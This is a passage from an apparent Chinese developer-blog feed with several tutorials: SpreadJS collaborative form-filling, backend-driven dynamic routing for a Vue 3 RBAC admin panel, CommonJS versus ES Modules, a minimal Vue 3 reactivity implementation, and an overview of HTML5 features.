  • 基础协作门槛高: 提供了在线评论、权限管理等功能,让团队协作更加便捷和透明。

传统协同电子表格在企业级填报场景的局限性

尽管主流协同电子表格在通用协作方面表现出色,但在企业级数据填报这一核心场景中,其局限性也日益凸显:

  1. 数据安全与私有化挑战: 大多采用SaaS模式,难以满足金融、政府等行业对核心业务数据进行私有化部署和保证严格安全合规的要求。
  2. 系统集成度低: 缺乏作为底层组件嵌入企业现有 ERP、OA 等业务系统的能力,导致数据在应用间形成“数据烟囱”。
  3. 高昂的部署成本: 商业协同工具的私有化版本通常费用高昂,且定制化难度大,维护成本高。
  4. 数据交互受限: 难以灵活地进行结构化数据的提取和回写,阻碍了表格数据与企业数据库之间的无缝连接。

SpreadJS 协同插件:专为企业级协同填报设计的解决方案

SpreadJS的协同能力并非简单的“黑盒”功能,而是采用了多层、解耦的中间件架构。这种架构设计赋予了企业极高的部署灵活性和定制化空间。

  • 灵活的私有化部署方式,可选择将协同服务和业务系统共同部署,也可部署独立的微服务,通过API为多个业务系统提供填报协作能力,并支持docker、负载均衡等技术。
  • 多层次的定制化空间,从前端页面、冲突处理到用户鉴权,数据存储等各个环节,均可以通过中间件的方式二开处理,从而开发满足个性化需求的系统。

例如SpreadJS协同文档服务不仅支持自定义数据库配置,同时可配置快照存取规则,同时也可以使用use中间件和on注册钩子自定义处理逻辑注册中间件和on注册钩子自定义处理逻辑,在自定义逻辑中记录额外日志或者添加业务相关操作。

img

基于“数据区域管理器”实现业务解耦

在协同填报场景中,一个核心挑战是如何既支持业务数据的按权限展示填报,又可以实现文档的多人共享协同操作。SpreadJS的数据区域管理器(Data Range Provider)可以结合协同插件共同解决这个问题。

  • 独立的数据区域,SpreadJS可以在客户端创建客户独享的“数据区域”,结合业务、用户权限单独对区域进行配置,实现每个用户拥有个性化的表格。
  • 业务数据和文档分离,通过数据区域指定业务数据,使这些业务数据可以通过数据区域与业务系统同步,而其他区域内容则有协同服务来处理
  • 业务与协同解耦,大大简化了系统设计的复杂度,无需考虑如何从协同的文档中抽取业务数据。

在填报数据区域内,每个客户端可独立控制数据区域内的数据存取校验、单元格样式以及编辑权限等电子表格特性,当校验通过或存储成功后,交由协同层同步。区域以外由协同层直接同步共享。

img

总结:企业级协同填报新基座

在数字化转型浪潮中,尽管传统协同电子表格提升了日常办公效率 ,但 SpreadJS 通过组件化特性、多层解耦的中间件架构,特别是独有的“数据区域管理器”,成功弥补了主流工具在企业级应用中的局限 。该方案支持灵活的私有化部署,满足金融、政府等行业对核心业务数据的严格安全合规要求 。同时,它允许作为底层组件嵌入企业现有系统,打破了系统集成度低的挑战 ,并实现了业务数据与文档内容的分离,有效解决业务与协同的解耦问题 。最终,SpreadJS 为企业提供了一个强大、灵活且安全的新基座,赋能企业级数据协作新模式 。

扩展链接

硬核干货 | Excel 文件到底是怎么坏掉的?深入 OOXML 底层原理讲解修复策略

企业级RBAC 实战(八)手撸后端动态路由,拒绝前端硬编码

作者 小胖霞
2025年12月10日 09:29

在企业级后台中,硬编码路由(写死在 router/index.js)是维护的噩梦。本文将深入讲解如何根据用户权限动态生成侧边栏菜单。我们将构建后端的 getRouters 递归接口,并在前端利用 Vite 的 import.meta.glob 实现组件的动态挂载,最后彻底解决路由守卫中经典的“死循环”和“刷新白屏”问题。

学习之前先浏览 前置专栏文章

一、 引言:为什么要做动态路由?

在简单的后台应用中,我们通常会在前端 router/routes.ts 中写死所有路由。但在 RBAC(基于角色的权限控制)模型下,这种做法有两个致命缺陷:

  1. 安全性低:普通用户虽然看不到菜单,但如果在浏览器地址栏手动输入 URL,依然能进入管理员页面。
  2. 维护成本高:每次新增页面都要修改前端代码并重新打包部署。

目标:前端只保留“登录”和“404”等基础页面,其他所有业务路由由后端根据当前用户的角色权限动态返回。

二、 后端实现:构建路由树 (getRouters)

后端的核心任务是:查询当前用户的菜单 -> 过滤掉隐藏的/无权限的 -> 组装成 Vue Router 需要的 JSON 树。

1. 数据结构转换

我们在上一篇设计了 sys_menus 表。Vue Router 需要的结构包含 path, component, meta 等字段。我们需要一个递归函数将扁平的数据库记录转为树形结构。

文件:routes/menu.js

// 辅助函数:将数据库扁平数据转为树形结构
function buildTree(items, parentId = 0) {
  const result = []
  for (const item of items) {
    // 兼容字符串和数字的 ID 对比
    if (item.parent_id == parentId) {
      // 组装 Vue Router 标准结构
      const route = {
        name: toCamelCase(item.path), // 自动生成驼峰 Name
        path: item.path,
        hidden: item.hidden === 1,    // 数据库 1/0 转布尔
        component: item.component,    // 此时还是字符串,如 "system/user/index"
         // 只有当 redirect 有值时才添加该字段
        ...(item.redirect && { redirect: item.redirect }),
        // 只有当 always_show 为 1 时才添加,并转为布尔
        ...(item.alwaysShow === 1 && { alwaysShow: true }),
        meta: {
          title: item.menu_name,
          icon: item.icon,
          noCache: item.no_cache === 1
        }
      }
      
      const children = buildTree(items, item.id)
      if (children.length > 0) {
        route.children = children
      }
      result.push(route)
    }
  }
  return result
}

2. 接口实现

这里有一个关键逻辑:上帝模式普通模式的区别。

  • Admin:直接查 sys_menus 全表(排除被物理删除的)。
  • 普通用户:通过 sys_users -> sys_roles -> sys_role_menus -> sys_menus 进行四表联查,只获取拥有的权限。

文件 route/menu.js

router.get('/getRouters', authMiddleware, async (req, res, next) => {
  try {
    const userId = req.user.userId
    const { isAdmin } = req.user

    let sql = ''
    let params = []

    const baseFields = `m.id, m.parent_id, m.menu_name, m.path, m.component, m.icon, m.hidden`

    if (isAdmin) {
      // 管理员:看所有非隐藏菜单
      sql = `SELECT ${baseFields} FROM sys_menus m WHERE m.hidden = 0 ORDER BY m.sort ASC`
    } else {
      // 普通用户:通过中间表关联查询
      sql = `
        SELECT ${baseFields} 
        FROM sys_menus m
        LEFT JOIN sys_role_menus rm ON m.id = rm.menu_id
        LEFT JOIN sys_users u ON u.role_id = rm.role_id
        WHERE u.id = ? AND m.hidden = 0
        ORDER BY m.sort ASC
      `
      params.push(userId)
    }

    const [rows] = await pool.query(sql, params)
    const menuTree = buildTree(rows)

    res.json({ code: 200, data: menuTree })
  } catch (err) {
    next(err)
  }
})

三、 前端实现:组件动态加载

前端拿到后端的 JSON 后,最大的难点在于:后端返回的 component 是字符串 "system/user/index",而 Vue Router 需要的是一个 Promise 组件对象 () => import(...)

在 Webpack 时代我们要用 require.context,而在 Vite 中,我们要用 import.meta.glob。

1. Store 逻辑 (store/modules/permission.ts)

import { defineStore } from 'pinia'
import { constantRoutes } from '@/router'
import { getRouters } from '@/api/menu'
import Layout from '@/layout/index.vue'

// 1. Vite 核心:一次性匹配 views 目录下所有 .vue 文件
// 结果类似: { '../../views/system/user.vue': () => import(...) }
const modules = import.meta.glob('../../views/**/*.vue')

export const usePermissionStore = defineStore('permission', {
  state: () => ({
    routes: [],        // 完整路由(侧边栏用)
    addRoutes: [],     // 动态路由(router.addRoute用)
    sidebarRouters: [] // 侧边栏菜单
  }),
  
  actions: {
    async generateRoutes() {
      // 请求后端
      const res: any = await getRouters()
      const sdata = JSON.parse(JSON.stringify(res.data))
      
      // 转换逻辑
      const rewriteRoutes = filterAsyncRouter(sdata)
      
      this.addRoutes = rewriteRoutes
      this.sidebarRouters = constantRoutes.concat(rewriteRoutes)
      
      return rewriteRoutes
    }
  }
})

// 遍历后台传来的路由字符串,转换为组件对象
function filterAsyncRouter(asyncRouterMap: any[]) {
  return asyncRouterMap.filter(route => {
    if (route.component) {
      if (route.component === 'Layout') {
        route.component = Layout
      } else {
        // 核心:根据字符串去 modules 里找对应的 import 函数
        route.component = loadView(route.component)
      }
    }
    // ... 递归处理 children
    if (route.children && route.children.length) {
      route.children = filterAsyncRouter(route.children)
    }
    return true
  })
}

export const loadView = (view: string) => {
  let res
  for (const path in modules) {
    // 路径匹配逻辑:从 ../../views/system/user.vue 中提取 system/user
    const dir = path.split('views/')[1].split('.vue')[0]
    if (dir === view) {
      res = () => modules[path]()
    }
  }
  return res
}

四、 核心难点:路由守卫与“死循环”

在 src/permission.ts 中,我们需要拦截页面跳转,如果是第一次进入,则请求菜单并添加到路由中。

1. 经典死循环问题

很多新手会这样写判断:

// ❌ 错误写法
if (userStore.roles.length === 0) {
  // 去拉取用户信息 -> 生成路由 -> next()
}

Bug 场景:如果新建了一个没有任何角色的用户 user01,后端返回的 roles 是空数组。

  1. roles.length 为 0,进入 if。
  2. 拉取信息,发现还是空数组。
  3. next(to) 重定向,重新进入守卫。
  4. roles.length 依然为 0... 死循环,浏览器崩溃

2. 解决方案:引入 isInfoLoaded 状态位

我们在 userStore 中增加一个 isInfoLoaded 布尔值,专门标记“是否已经尝试过拉取用户信息”

文件:src/permission.ts

import router from '@/router'
import { useUserStore } from '@/store/modules/user'
import { usePermissionStore } from '@/store/modules/permission' // 引入新的 store
import NProgress from 'nprogress'
import 'nprogress/nprogress.css'

NProgress.configure({ showSpinner: false })

const whiteList = ['/login', '/404']

router.beforeEach(async (to, from, next) => {
  NProgress.start()
  const userStore = useUserStore()
  const permissionStore = usePermissionStore()

  if (userStore.token) {
    if (to.path === '/login') {
      next({ path: '/' })
      NProgress.done()
    } else {
      // 判断当前用户是否已拉取完 user_info 信息
      // 这里我们可以简单判断:如果 userStore.userInfo.roles.length==0 动态添加的菜单长度为0,说明还没请求菜单,但似乎 这么写  如果 用户没角色  会陷入死循环
      if (!userStore.isInfoLoaded) {
        try {
          // 2. 生成动态路由 (后端请求)
          const userInfo = await userStore.getInfo()
          console.log('userInfo--', userInfo)
          if (userInfo && userInfo.data.id) {
            const accessRoutes = await permissionStore.generateRoutes()
            // // 3. 后端返回的路由
            console.log('accessRoutes', accessRoutes)
            // 4. 动态添加路由
            accessRoutes.forEach((route) => {
              router.addRoute(route)
            })
          }
          // 4. 确保路由添加完成 (Hack方法)
          next({ path: to.path, query: to.query, replace: true })
        } catch (err) {
          console.log('userinfo -err', err)
          userStore.logout()
          next(`/login?redirect=${to.path}`)
          NProgress.done()
        }
      } else {
        next()
      }
    }
  } else {
    if (whiteList.includes(to.path)) {
      console.log('to.path', to.path)
      next()
    } else {
      next(`/login?redirect=${to.path}`)
      NProgress.done()
    }
  }
})

router.afterEach(() => {
  NProgress.done()
})

五、 侧边栏递归渲染

最后一步是将 sidebarRouters 渲染到左侧菜单. 这里需要注意一个细节:el-tree 或 el-menu 的父节点折叠问题
如果一个目录只有一个子菜单(例如“首页”),我们通常希望直接显示子菜单,不显示父目录。

文件 layout/components/slideBar/index.vue

<template>
  <div :class="classObj">
    <Logo v-if="showLogo" :collapse="isCollapse" />
    <el-scrollbar wrap-class="scrollbar-wrapper" :class="sideTheme">
      <el-menu
        router
        :default-active="activeMenu"
        :collapse="isCollapse"
        :background-color="
          settingsStore.sideTheme === 'dark'
            ? variables.menuBackground
            : variables.menuLightBackground
        "
        :text-color="
          settingsStore.sideTheme === 'dark'
            ? variables.menuColor
            : variables.menuLightColor
        "
        :active-text-color="theme"
        :unique-opened="true"
        :collapse-transition="false"
      >
        <template v-for="item in slidebarRouters" :key="item.path">
          <!-- 如果只有一个子菜单,直接显示子菜单 -->
          <el-menu-item
            v-if="item.children && item.children.length === 1"
            :index="item.path + '/' + item.children[0].path"
          >
            <el-icon v-if="item.children[0].meta?.icon">
              <component :is="item.children[0].meta.icon" />
            </el-icon>
            <span>{{ item.children[0].meta.title }}</span>
          </el-menu-item>

          <!-- 如果有多个子菜单,显示下拉菜单 -->
          <el-sub-menu
            v-else-if="item.children && item.children.length > 1"
            :index="item.path"
          >
            <template #title>
              <el-icon v-if="item.meta?.icon">
                <component :is="item.meta.icon" />
              </el-icon>
              <span>{{ item.meta.title }}</span>
            </template>
            <el-menu-item
              v-for="subItem in item.children"
              :key="subItem.path"
              :index="item.path + '/' + subItem.path"
            >
              <el-icon v-if="subItem.meta?.icon">
                <component :is="subItem.meta.icon" />
              </el-icon>
              <span>{{ subItem.meta.title }}</span>
            </el-menu-item>
          </el-sub-menu>

          <!-- 如果没有子菜单,直接显示当前菜单 -->
          <el-menu-item v-else :index="item.path">
            <el-icon v-if="item.meta?.icon">
              <component :is="item.meta.icon" />
            </el-icon>
            <span>{{ item.meta.title }}</span>
          </el-menu-item>
        </template>
      </el-menu>
    </el-scrollbar>
  </div>
</template>

<script setup lang="ts">
import { computed } from 'vue'
import Logo from './Logo.vue'
import { useRoute } from 'vue-router'
import variables from '@/assets/styles/var.module.scss'
const route = useRoute()

import { useSettingsStore } from '@/store/modules/settings'
import { useAppStore } from '@/store/modules/app'
import { usePermissionStore } from '@/store/modules/permission'
const appStore = useAppStore()
const settingsStore = useSettingsStore()
const permissionStore = usePermissionStore()
const sideTheme = computed(() => settingsStore.sideTheme)
const theme = computed(() => settingsStore.theme)
const showLogo = computed(() => settingsStore.showLogo)
const isCollapse = computed(() => !appStore.sidebar.opened)
const classObj = computed(() => ({
  dark: sideTheme.value === 'dark',
  light: sideTheme.value === 'light',
  'has-logo': settingsStore.showLogo,
}))

const slidebarRouters = computed(() =>
  permissionStore.sidebarRouters.filter((item) => {
    return !item.hidden
  })
)

console.log('slidebarRouters', slidebarRouters.value)

// 激活菜单
const activeMenu = computed(() => {
  const { path } = route
  return path
})
</script>

<style scoped lang="scss">
#app {
  .main-container {
    height: 100%;
    transition: margin-left 0.28s;
    margin-left: $base-sidebar-width;
    position: relative;
  }

  .sidebarHide {
    margin-left: 0 !important;
  }

  .sidebar-container {
    -webkit-transition: width 0.28s;
    transition: width 0.28s;
    width: $base-sidebar-width !important;
    background-color: $base-menu-background;
    height: 100%;
    position: fixed;
    font-size: 0px;
    top: 0;
    bottom: 0;
    left: 0;
    z-index: 1001;
    overflow: hidden;
    -webkit-box-shadow: 2px 0 6px rgba(0, 21, 41, 0.35);
    box-shadow: 2px 0 6px rgba(0, 21, 41, 0.35);

    // reset element-ui css
    .horizontal-collapse-transition {
      transition:
        0s width ease-in-out,
        0s padding-left ease-in-out,
        0s padding-right ease-in-out;
    }

    .scrollbar-wrapper {
      overflow-x: hidden !important;
    }

    .el-scrollbar__bar.is-vertical {
      right: 0px;
    }

    .el-scrollbar {
      height: 100%;
    }

    &.has-logo {
      .el-scrollbar {
        height: calc(100% - 50px);
      }
    }

    .is-horizontal {
      display: none;
    }

    a {
      display: inline-block;
      width: 100%;
      overflow: hidden;
    }

    .svg-icon {
      margin-right: 16px;
    }

    .el-menu {
      border: none;
      height: 100%;
      width: 100% !important;
    }

    .el-menu-item,
    .menu-title {
      overflow: hidden !important;
      text-overflow: ellipsis !important;
      white-space: nowrap !important;
    }

    .el-menu-item .el-menu-tooltip__trigger {
      display: inline-block !important;
    }

    // menu hover
    .sub-menu-title-noDropdown,
    .el-sub-menu__title {
      &:hover {
        background-color: rgba(0, 0, 0, 0.06) !important;
      }
    }

    & .theme-dark .is-active > .el-sub-menu__title {
      color: $base-menu-color-active !important;
    }

    & .nest-menu .el-sub-menu > .el-sub-menu__title,
    & .el-sub-menu .el-menu-item {
      min-width: $base-sidebar-width !important;

      &:hover {
        background-color: rgba(0, 0, 0, 0.06) !important;
      }
    }

    & .theme-dark .nest-menu .el-sub-menu > .el-sub-menu__title,
    & .theme-dark .el-sub-menu .el-menu-item {
      background-color: $base-sub-menu-background !important;

      &:hover {
        background-color: $base-sub-menu-hover !important;
      }
    }
  }

  .hideSidebar {
    .sidebar-container {
      width: 54px !important;
    }

    .main-container {
      margin-left: 54px;
    }

    .sub-menu-title-noDropdown {
      padding: 0 !important;
      position: relative;

      .el-tooltip {
        padding: 0 !important;

        .svg-icon {
          margin-left: 20px;
        }
      }
    }

    .el-sub-menu {
      overflow: hidden;

      & > .el-sub-menu__title {
        padding: 0 !important;

        .svg-icon {
          margin-left: 20px;
        }
      }
    }

    .el-menu--collapse {
      .el-sub-menu {
        & > .el-sub-menu__title {
          & > span {
            height: 0;
            width: 0;
            overflow: hidden;
            visibility: hidden;
            display: inline-block;
          }
          & > i {
            height: 0;
            width: 0;
            overflow: hidden;
            visibility: hidden;
            display: inline-block;
          }
        }
      }
    }
  }

  .el-menu--collapse .el-menu .el-sub-menu {
    min-width: $base-sidebar-width !important;
  }

  // mobile responsive
  .mobile {
    .main-container {
      margin-left: 0px;
    }

    .sidebar-container {
      transition: transform 0.28s;
      width: $base-sidebar-width !important;
    }

    &.hideSidebar {
      .sidebar-container {
        pointer-events: none;
        transition-duration: 0.3s;
        transform: translate3d(-$base-sidebar-width, 0, 0);
      }
    }
  }

  .withoutAnimation {
    .main-container,
    .sidebar-container {
      transition: none;
    }
  }
}

// when menu collapsed
.el-menu--vertical {
  & > .el-menu {
    .svg-icon {
      margin-right: 16px;
    }
  }

  .nest-menu .el-sub-menu > .el-sub-menu__title,
  .el-menu-item {
    &:hover {
      // you can use $sub-menuHover
      background-color: rgba(0, 0, 0, 0.06) !important;
    }
  }

  // the scroll bar appears when the sub-menu is too long
  > .el-menu--popup {
    max-height: 100vh;
    overflow-y: auto;

    &::-webkit-scrollbar-track-piece {
      background: #d3dce6;
    }

    &::-webkit-scrollbar {
      width: 6px;
    }

    &::-webkit-scrollbar-thumb {
      background: #99a9bf;
      border-radius: 20px;
    }
  }
}

.dark {
  background-color: $base-menu-background !important;
}
.light {
  background-color: $base-menu-light-background !important;
}
.scrollbar-wrapper {
  overflow-x: hidden !important;
}
.has-logo {
  .el-scrollbar {
    height: calc(100% - 50px);
  }
}
</style>

六、 总结与下篇预告

通过本篇实战,我们实现了:

  1. 后端:根据角色权限过滤菜单数据。
  2. 前端:利用 Vite 的 glob 导入特性,将后端字符串动态转为前端组件。
  3. 守卫:通过 isInfoLoaded 状态位完美解决了空权限用户的死循环问题。

现在的系统已经具备了动态菜单的能力。但是,如何更方便地管理这些用户和角色呢?  如果用户很多,列表怎么分页?怎么模糊搜索?

下一篇:《企业级全栈 RBAC 实战 (九):用户管理与 SQL 复杂查询优化》,我们将深入 Element Plus 表格组件与 MySQL 分页查询的结合。

模块化开发:当CommonJS遇见ES Module

作者 JS_GGbond
2025年12月10日 09:15

欢迎使用我的小程序👇👇👇👇

small.png


一、为什么我们需要模块化?

想象一下,你正在建造一座乐高城堡。如果所有的积木都混在一个大袋子里,每次要找特定零件都得翻遍整个袋子,这会是多么低效!早期的JavaScript开发就是这样——所有代码都写在一个或几个文件中,导致:

  • 变量污染全局作用域
  • 难以维护和调试
  • 代码复用困难
  • 依赖关系混乱

模块化就像把乐高积木按颜色、形状分类放在不同的盒子里,让搭建变得更有序、更高效。

二、CommonJS:Node.js的“老将”

基本概念

CommonJS是Node.js默认的模块系统,它采用同步加载的方式,非常适合服务器端环境。

核心语法

// 导出模块 - math.js
const add = (a, b) => a + b;
const multiply = (a, b) => a * b;

// 方式1:导出单个对象
module.exports = { add, multiply };

// 方式2:逐个添加属性
exports.add = add;
exports.multiply = multiply;

// 导入模块 - app.js
const math = require('./math.js');
console.log(math.add(2, 3)); // 5

特点解析

同步加载:像在图书馆借书,必须等上一本书拿到手,才能借下一本

// 模块会立即执行
const fs = require('fs'); // 阻塞执行,直到fs模块完全加载
const data = fs.readFileSync('file.txt'); // 继续阻塞

动态导入:你可以在条件语句中导入模块

if (userNeedsAdvancedFeature) {
    const advancedModule = require('./advanced');
    // 使用模块
}

适用场景

  • Node.js后端开发
  • 构建工具(如Webpack、Browserify转换后可在浏览器使用)

三、ES Module:现代JavaScript的“新星”

基本概念

ES Module是ECMAScript 2015(ES6)引入的官方模块标准,采用异步加载,是现代前端开发的首选。

核心语法

// 导出模块 - math.js
export const add = (a, b) => a + b;
export const multiply = (a, b) => a * b;

// 默认导出(每个模块只能有一个)
const defaultFunction = () => console.log('默认导出');
export default defaultFunction;

// 导入模块 - app.js
import { add, multiply } from './math.js';
import myDefault from './math.js'; // 导入默认导出

// 重命名导入
import { add as sum } from './math.js';

// 整体导入
import * as math from './math.js';

特点解析

静态分析:像餐厅点餐,先看完整菜单再决定点什么

// 导入声明必须在顶层,不能在条件语句中
import { featureA } from './moduleA'; // ✓ 正确

if (condition) {
    import { featureB } from './moduleB'; // ✗ 错误!语法不允许
}

// 但可以使用动态导入函数
if (condition) {
    import('./moduleB').then(module => {
        // 使用module.featureB
    });
}

异步加载:多个模块可以并行加载

// 模块1和模块2可以同时加载
import { utils } from './utils.js';
import { api } from './api.js';

// 动态导入返回Promise
const loadModule = async () => {
    const module = await import('./dynamic-module.js');
    module.doSomething();
};

实时绑定:导入的是值的引用,而不是副本

// counter.js
export let count = 0;
export const increment = () => { count++; };

// app.js
import { count, increment } from './counter.js';

console.log(count); // 0
increment();
console.log(count); // 1(值被更新了!)

四、CommonJS vs ES Module:直接对比

特性 CommonJS ES Module
语法 require() / module.exports import / export
加载时机 运行时加载 编译时静态解析
加载方式 同步 异步
环境 主要为Node.js 浏览器和Node.js
值类型 值的拷贝 值的引用(实时绑定)
条件导入 支持 静态导入不支持,动态导入支持
循环依赖 支持但可能有问题 支持且更可靠
严格模式 默认非严格模式 默认严格模式

循环依赖示例对比

CommonJS的问题

// a.js
exports.loaded = false;
const b = require('./b.js');
console.log('在a中,b是', b);
exports.loaded = true;

// b.js
exports.loaded = false;
const a = require('./a.js'); // 此时a还没有完全加载
console.log('在b中,a是', a); // a.loaded为false
exports.loaded = true;

ES Module的处理

// a.js
import { bLoaded } from './b.js';
export let aLoaded = false;
aLoaded = true;

// b.js
import { aLoaded } from './a.js';
export let bLoaded = false;
bLoaded = true;
// 可以正常工作,但需要注意初始化顺序

五、在现代项目中如何使用?

Node.js中的使用

Node.js从v13.2.0开始稳定支持ES Module:

  1. 使用.mjs扩展名

    // module.mjs
    export const hello = () => "Hello ES Module!";
    
    // app.mjs
    import { hello } from './module.mjs';
    
  2. package.json中设置"type": "module"

    {
      "name": "my-app",
      "type": "module",
      "scripts": {
        "start": "node app.js"
      }
    }
    

浏览器中的使用

<!-- 直接使用ES Module -->
<script type="module">
  import { createApp } from './app.js';
  createApp();
</script>

<!-- 支持相对和绝对路径 -->
<script type="module" src="./modules/main.js"></script>

互操作性

在ES Module中导入CommonJS模块:

// 可以导入CommonJS模块
import commonJSModule from './commonjs-module.cjs';
import { namedExport } from './commonjs-module.cjs'; // 如果CommonJS模块有提供

// 在package.json中指定不同扩展名的处理方式

六、实践建议

  1. 新项目:优先使用ES Module,它是未来的标准
  2. Node.js项目
    • 新项目:使用ES Module(设置"type": "module"
    • 现有项目:逐步迁移或维持CommonJS
  3. 浏览器项目:使用ES Module,配合构建工具(如Webpack、Vite)
  4. 库/包开发:考虑双模式支持
    // package.json
    {
      "name": "my-library",
      "main": "./dist/commonjs/index.js",
      "module": "./dist/esm/index.js",
      "exports": {
        "require": "./dist/commonjs/index.js",
        "import": "./dist/esm/index.js"
      }
    }
    

七、常见问题解答

Q:我应该学习哪一个? A:两者都要了解!ES Module是未来,但很多现有项目使用CommonJS。

Q:可以在同一个文件中混用吗? A:尽量避免,但在Node.js中可以通过动态导入互相调用。

Q:哪个性能更好? A:ES Module的静态特性允许更好的优化和摇树(tree-shaking)。

总结

模块化让JavaScript从"玩具语言"成长为"工程语言"。CommonJS像是一位经验丰富的老兵,在Node.js生态中建立了坚实基础;ES Module则像是一位充满活力的新星,代表着JavaScript的未来方向。

记住一个简单的选择策略:

  • 前端开发 → ES Module
  • Node.js新项目 → ES Module
  • Node.js旧项目维护 → CommonJS
  • 通用库开发 → 考虑双模式支持

无论选择哪种方式,模块化的核心思想都是一致的:关注点分离、高内聚低耦合、代码复用。掌握了这些概念,你就掌握了现代JavaScript开发的钥匙。

模块化不是目的,而是手段。真正的目标是编写可维护、可扩展、高质量的代码。

Vue3 源码学习笔记(二): 理解发布-订阅模式和实现简易响应式

2025年12月10日 01:15

当我们导入 vue 3 的特定构建版本,在浏览器打开html文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>响应式demo</title>
</head>
<body>
<script type="module">
    import {ref, effect } from '../../../node_modules/vue/dist/vue.esm-browser.prod.js'
    
    const count = ref(0)
    effect (()=> {
        console.log('count.value ==>',count.value)
    })
    setTimeout(()=>{
        count.value = 1
    }, 1000)
</script>
</body>
</html>

控制台会在1s后打印count的最新值

image.png

我们会发现,只要 count 的值变了,副作用函数就会自动重新执行。这背后的原因是什么?

我们知道 vue3 的响应式系统本质就是一个高度自动化的发布-订阅模式(Publish-Subscribe Pattern)

什么是发布-订阅模式(Publish-Subscribe Pattern)

  • 以点外卖为例
    • 发布者 = 餐厅的菜品

      • 持有状态:餐厅掌握着所有菜的状态
      • 发布通知:当菜品状态变化时,会自动发出"我变了"的信号
      • 特点:菜品不知道自己被谁关注,只负责在变化时发出信号
    • 订阅者 = 顾客的查看行为

      • 关注状态:顾客在执行点餐流程时,会查看某些菜品
      • 希望被通知:当关注的菜品变化时,希望重新执行点餐流程
      • 特点:只关心自己查看过的菜品,不关心其他菜品
    • 事件通道 = 外卖平台

      • 记录关系:当顾客查看菜品时,平台记录"顾客A关注了菜品X" (← 依赖收集
      • 桥梁作用:餐厅更新菜品状态,然后通知这些顾客重新执行点餐流程 (← 执行effect)

实现响应式

packages/reactivity/src 下新建ref.tseffect.ts 并且在 index.ts 导出。

我们要实现两个核心 API:

  • ref(value):创建一个响应式引用
  • effect(fn):创建一个副作用函数,自动追踪依赖
  1. 全局变量:记录当前正在执行的 effect
export let activeSub = undefined

export function effect(fn) {
    activeSub = fn     // 标记当前正在运行的副作用函数
    fn()               // 立即执行一次
    activeSub = undefined
}
  1. Ref 实现:发布者 + 注册表
import {activeSub} from "./effect";

enum ReactiveFlags {
    IS_REF = '__V_isRef'
}

/**
 * Ref实现类
 */
class RefImpl {
    // 保存实际的值
    _value
    // ref标记,证明是一个ref
   [ReactiveFlags.IS_REF] = true
    // 保存和 effect 之间的关联关系
    subs
    constructor(value) {
        this._value = value
    }

    /**
     * 依赖收集
     */
    get value() {
        // 如果 activeSub 有就保存起来,等更新时触发
        if(activeSub) {
            this.subs = activeSub
        }
        return this._value
    }

    /**
     * 触发更新
     * @param newVal
     */
    set value(newVal) {
        console.log('==>触发更新咯')
        this._value = newVal
        // 通知 effect 重新执行,获取最新的值
        this.subs?.()
    }
}


export function  ref(value) {
    return new RefImpl(value)
}

/**
 * 判断是不是一个 ref
 * @param value
 */
export function  isRef (value) {
    return !!(value && value[ReactiveFlags.IS_REF])
}

执行流程

步骤 1:调用 effect

effect(() => { console.log(count.value) })
  • 设置 activeSub = fn
  • 执行fn → 读取 count.value

步骤 2:读取 count.value(订阅发生)

  • 进入 RefImpl.get value
  • 发现 activeSub 存在 → 将当前函数存入 subs
  • 👉 完成订阅count 记住了“谁在用我”

步骤 3:修改 count.value = 1(发布发生)

  • 进入 RefImpl.set value
  • 更新 _value
  • 调用 this.subs?.() → 重新执行副作用函数
  • 👉 完成发布:通知订阅者“我变了!”

验证效果

将html文件的引入替换成import {ref, effect } from '../dist/reactivity.esm.js',这是本地打包的产物。

image.png 此时,实现了响应式的简易版本。

总结

  • Vue 3 的响应式系统本质是 隐式的发布-订阅模式
  • ref 是 发布者effect 是 订阅者.subs 是 注册表
  • 读取即订阅,修改即发布 —— 这就是响应式的魔法。

想了解更多 Vue 的相关知识,抖音、B站搜索远方os

HTML5新增特性有哪些

作者 代码猎人
2025年12月10日 00:49

HTML5 是 HTML 的重大更新,带来了许多新特性,主要可以分为以下几类:

一、语义化标签

新增了更有意义的标签,使页面结构更清晰:

<header>   <!-- 页眉 -->
<nav>      <!-- 导航 -->
<main>     <!-- 主要内容 -->
<section>  <!-- 文档中的节 -->
<article>  <!-- 独立内容(如博客文章) -->
<aside>    <!-- 侧边栏 -->
<footer>   <!-- 页脚 -->
<figure>   <!-- 独立内容(如图表) -->
<figcaption> <!-- 图表标题 -->
<time>     <!-- 时间日期 -->
<mark>     <!-- 高亮文本 -->
<details>  <!-- 可折叠内容 -->
<summary>  <!-- details的标题 -->
<dialog>   <!-- 对话框/模态框 -->

二、多媒体支持

无需插件即可播放音视频:

<!-- 音频 -->
<audio controls>
  <source src="audio.mp3" type="audio/mpeg">
</audio>

<!-- 视频 -->
<video width="320" height="240" controls>
  <source src="movie.mp4" type="video/mp4">
</video>

三、图形与绘图

  • Canvas:2D 绘图 API
    <canvas id="myCanvas" width="200" height="100"></canvas>
    
  • SVG:矢量图形支持
    <svg width="100" height="100">
      <circle cx="50" cy="50" r="40" fill="red" />
    </svg>
    

四、表单增强

新的输入类型:

<input type="email">    <!-- 邮箱 -->
<input type="url">      <!-- URL -->
<input type="number">   <!-- 数字 -->
<input type="range">    <!-- 滑块 -->
<input type="date">     <!-- 日期 -->
<input type="time">     <!-- 时间 -->
<input type="color">    <!-- 颜色选择器 -->
<input type="search">   <!-- 搜索框 -->
<input type="tel">      <!-- 电话号码 -->
<input type="month">    <!-- 年月 -->
<input type="week">     <!-- 周 -->

新的表单属性:

<input placeholder="提示文本">
<input autofocus>       <!-- 自动聚焦 -->
<input required>        <!-- 必填 -->
<input pattern="\d+">   <!-- 正则验证 -->
<input list="suggestions">
<datalist id="suggestions">
  <option value="选项1">
  <option value="选项2">
</datalist>

五、API 增强

1. 本地存储

localStorage.setItem('key', 'value');  // 永久存储
sessionStorage.setItem('key', 'value'); // 会话存储

2. 地理位置

navigator.geolocation.getCurrentPosition(showPosition);

3. 拖放 API

<div draggable="true" id="dragme">拖我</div>
<div id="dropzone">放到这里</div>

4. Web Workers(后台线程)

// 主线程
const worker = new Worker('worker.js');

5. WebSocket(实时通信)

const socket = new WebSocket('ws://example.com');

6. 历史记录管理

history.pushState(state, title, url);

7. 文件 API

<input type="file" onchange="handleFile(this.files)">

六、其他重要特性

1. 文档结构改进

<!DOCTYPE html>  <!-- 更简洁的文档声明 -->
<meta charset="UTF-8">  <!-- 字符集声明简化 -->

2. 内容可编辑

<div contenteditable="true">可编辑内容</div>

3. 数据属性

<div data-user-id="123" data-role="admin"></div>

